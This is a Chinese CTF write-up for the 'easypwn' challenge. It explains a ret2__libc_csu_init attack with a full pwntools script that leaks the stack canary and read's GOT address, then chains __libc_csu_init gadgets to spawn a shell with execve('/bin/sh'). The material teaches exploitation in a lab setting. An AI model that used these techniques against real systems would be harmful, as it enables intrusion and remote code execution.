天天看點

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

中級ROP-ret2__libc_csu_init

這個題是“百度杯”CTF比賽 十二月場上的一個題“easypwn”

題目檔案:easypwn

連結:https://pan.baidu.com/s/1aPTSUMHT-1JR2yWJgo2B-g 密碼:id3x

剛開始沒多久,是以這個可能記錄的比較詳細一點,特别适合新手

靜态分析找溢出點:

丢到IDA裡面就一個主函數,也沒有求其他什麼的函數,漏洞就在這裡能寫(read)的空間比初始化(memset)的空間大

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

這樣的話我們可以在read寫入緩沖區的時候多寫一點,覆寫掉一些資訊

漏洞利用:

首先,檢視這個檔案的位數以及開啟的安全機制:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

測試運作一下:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

直接去看大佬的writeup,學習姿勢:

#/usr/env/bin python
from pwn import *
context.binary = './easypwn'
#context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
elf = ELF('./easypwn')
#io = process('./easypwn')
io = remote('106.75.66.195', 20000)
#leak Canary
io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
io.recvuntil('A'*(0x50-0x8)) 
canary = u64(io.recv(8))-0xa
log.info('canary:'+hex(canary))
#leak read_addr
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007f3)
payload += p64(elf.got['read'])	
payload += p64(elf.plt['puts'])
payload += p64(0x4006C6)
io.send(payload)
io.recvuntil('See you again!\n')
#cacl syscall_addr
read_addr = u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
log.info('read_addr:'+hex(read_addr))
syscall = read_addr+0xe
log.info('syscall:'+hex(syscall))
sleep(0.5)
io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
#gdb.attach(io,'b *0x4007d6')
#execve("/bin/sh",NULL,NULL)
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007EA)
payload += p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)
payload += p64(0)
payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0x601080)
payload += p64(0x4007D0)

io.send(payload)
sleep(0.5)
raw_input('Go?')
content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A')
io.send(content)
io.interactive()           

腳本分析:

腳本剛開始的環境配置調試模式就不說了,從向程式發送的第一個資料開始

發送的 資料 "A"*(0x50-0x8),這個長度剛剛好是緩沖區的大小:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

這裡可以得到緩沖區的大小,要注意的是減去的0x08是留給了canary的空間

我們知道程式在收到這段資料之後會傳回過來,我們發送過去的方式是sendline()方式最後會追加一個位元組0a(回車符)這樣的話剛剛好把canary的第一個位元組00給覆寫掉了,再傳回字元串時候就不就會被canary的這個00位元組給截斷,實作洩露canary的目的,當然這樣擷取到的canary是多了0x0a的,是以之後又減掉了一個。發送過去的資料和收到的資料是這樣的:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

很明顯的可以看到在一串A後面多了一個0a,這個0a之後的七個位元組就是canary的有效位元組。到此為止擷取到了canary。

之後發送第一個payload直接看圖:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

解釋一下payload構造的目的:

payload = 'A'*(0x50-0x8)    #填充buffer的空間
payload += p64(canary)      #将之前擷取到的canary打包,拼在payload裡面,保證canary檢查正确
payload += 'A'*0x8          #覆寫原來的調用這個函數的時候儲存的rbp共8個位元組
payload += p64(0x4007f3)    #這裡利用ret之前的一小段代碼,後面詳細解釋
payload += p64(elf.got['read'])    #此處read_got指向read函數實際加載起來的真實位址   
payload += p64(elf.plt['puts'])    #調用puts函數将上面的位址列印洩露出來
payload += p64(0x4006C6)           #控制程式再次執行main函數           

這裡解釋為什麼使用  0x4007f3  這個位址,很顯然這個payload發送過去棧的結構已經确定,0x4007f3的位置就是傳回位址,要跳轉過去執行,先看看那裡是什麼:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

看到這個地方肯定會有疑問為什麼執行這句彙編指令的位址是 0x4007f3 ,這句不是從  0x4007f2 開始的嗎?不了解的話可能會覺得這裡是錯了應該是利用   0x4007f2   這個位址。

這裡有一個部落格裡面說的比較詳細:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

再解釋為什麼要使用這段代碼:

再64位的作業系統中,參數傳遞的順序如下:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

我們知道了rdi寄存器是傳遞第一個參數,是以控制了rdi就可以向被調用函數傳遞第一個參數,這是後再複現一下剛才的payload部署的棧空間的結構:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

是以通過這個payload能夠使得程式洩露出read函數的實際加載位址,并且程式能夠再次執行main函數,提供再次利用溢出漏洞的條件。

接下來程式在按照我們的部署洩露read位址之後,再一次回到了main函數的開始,再一次利用漏洞,這裡講腳本裡的第二個payload的構造原理:

payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007EA)
payload += p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)
payload += p64(0)
payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0x601080)
payload += p64(0x4007D0)           

這裡直接看結構圖:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init
中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

 根據棧空間的分布,第一次跳轉到0x4007d0,執行call之前三條指令,分别将r13,r14,r15d的值賦給了rdx,rsi,edi三個寄存器。我們可以發現r13,r14,r15中的值是我們寫進去的,最終傳遞到了rdx,rsi,edi三個寄存器中,其實就是可以通過構造payload和控制執行流間接三個寄存器,而之後的call qword [r12+rbp*8],這裡用到的兩個寄存器也是我們pop進去的值,這樣我們通過控制r12就可以讓程式執行我們想要執行的函數。

然後理一下這前半部分導緻call執行的是什麼函數,rbp寄存器中的值為0,r12的值是read函數的got位址,call [r12+rbp*8]就是實際運作read函數。

容易知道read函數一共有三個參數

read(int fd;char * buf,size_t count);

如果read函數成功執行,則會傳回read到的位元組數,按照64位作業系統傳遞參數的順序,三個參數依次存放于rdi,rsi,rdx。

由于我們之前的部署,

rdi(edi)=r15d=0

rsi=r14=0x601080

rdx=r13=0x3B

read(0,*buf=(0x601080),0x3B);

這時main函數已經沒有了輸入的位置,第一個參數為0,表示标準鍵盤輸入,這就需要exp向程式輸入,這就是最後的

content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A')
io.send(content)           

這裡send過去的資料就是上面調用的read函數讀進去的東西。

這裡還有兩個點:

為什麼第二個參數是0x601080,為什麼第三個參數是0x3B

0x601080 : 指向的位置是bss段,bss段是用來存放程式中未初始化的全局變量的一塊記憶體區域,這段記憶體空間,記憶體情況見圖所示

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

0x3B : 在64位作業系統中,作為系統調用号,所調用的函數是execve函數,關于execve函數這裡再科普一下,execve函數

不清楚的可以看看這個https://blog.csdn.net/chichoxian/article/details/53486131

read函數執行之後會傳回讀取到的位元組數,這個值是由rax寄存器儲存,是以通過read函數控制我們輸入的位元組數就可以使得不同的系統調用号存入rax。

執行完 call qword [r12+rbp*8]之後:

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

rbx+1 與 rbp比較剛好相等(之前的pop使得rbx=0;rbp=1)

跳轉不成立,對asp+8,由于棧是向低位址方向增長,是以asp+8相當于目前棧頂元素出棧

中級ROP-ret2__libc_csu_init中級ROP-ret2__libc_csu_init

是以在payload中第一個0x4007d0之後的0是應對這個asp+8指令,再往後是和剛才一樣的一路pop操作,控制相關寄存器的值,在此調用0x4007d0當再一次執行到 call qword[ r12+rbp*8 ] 的時候,寄存器部署情況如下:

r12 = 0x601088,這個位址就是我們最後發送給程序的syscall的實際運作位址

rdi 的低字edi = r15d = 0x601080,這是指向的是字元串 “/bin/sh”

rsi = r14 = 0

rdx = r13 = 0

這時候還有之前的  rax = 0x3B,程式執行syscall中斷,從rax中取得系統調用号0x3B,去執行對應函數execve,execve函數通過三個寄存器擷取運作所需要的三個參數,就是 rdi, rsi, rdx,這三個的值已經部署好了,即執行

execve(‘/bin/sh’,0,0)

這個函數執行,就會開啟一個shell,成功拿到shell之後找flag就不說了。